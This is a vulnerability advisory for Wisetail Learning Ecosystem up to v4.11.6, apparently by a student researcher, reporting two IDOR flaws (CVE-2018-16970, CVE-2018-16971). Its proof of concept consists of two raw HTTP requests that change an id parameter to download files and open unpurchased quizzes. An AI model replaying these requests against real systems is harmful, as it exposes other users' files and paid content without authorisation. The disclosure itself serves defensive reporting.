Title: MULTIPLE IDOR VUNLERABILITies ON WISETAIL LEARNING ECOSYSTEM (LE)
UPTO V4.11.6



*D**ate:* 12/09/2019

*A**uthor:* S. M. Zia Ur Rashid

*Vendor Homepage:* wisetail.com

*Author Contact: *https://www.linkedin.com/in/ziaurrashid/

*Affected Version:* <= 4.11.6

*Assaigned CVE: *CVE-2018-16970, CVE-2018-16971



*Description:* Wisetail Learning Ecosystem (LE) upto v4.11.6 suffers from
multiple insecure direct object reference (IDOR) vulnerability that allows
to download files and access to the non-purchased course quiz test via a
modified id parameter.



*Proof-of-Concep (POC):*


  *// File Disclosure*



GET /eco_download.php?id=2639 HTTP/1.1

Host: xxxxxxx

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:63.0) Gecko/20100101
Firefox/63.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Cookie: xxxxxxxxxxxxxx

Upgrade-Insecure-Requests: 1



*// Access Quiz Test*



GET /eco_test.php?id=29 HTTP/1.1

Host: xxxxxxx

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:63.0) Gecko/20100101
Firefox/63.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Cookie: xxxxxxx

Upgrade-Insecure-Requests: 1



*Video POC:* https://youtu.be/l3msLYdI3fI



*References:*

https://blog.ziaurrashid.com/wisetail-learning-ecosystem-multiple-idor-vunlerability/

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16970

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16971


*Regards,*
*S M Zia Ur Rashid*
Student, Dept. of EEE, International Islamic University Chittagong
Student Ambassador, IEEEmadC
Public Relation Ambassador, IEEEXtreme Programming Competition 12.0
Webmaster, IEEE Bangladesh Section Student Activities Committee 2018
Webmaster, IEEE IIUC Student Branch (2018)
Contact: E-mail <smziaurrashid@gmail.com> *|* Web <https://ziaurrashid.com/>

Connect: Facebook <https://www.facebook.com/smziaurrashid.info> *|* LinkedIn
<https://www.linkedin.com/in/ziaurrashid>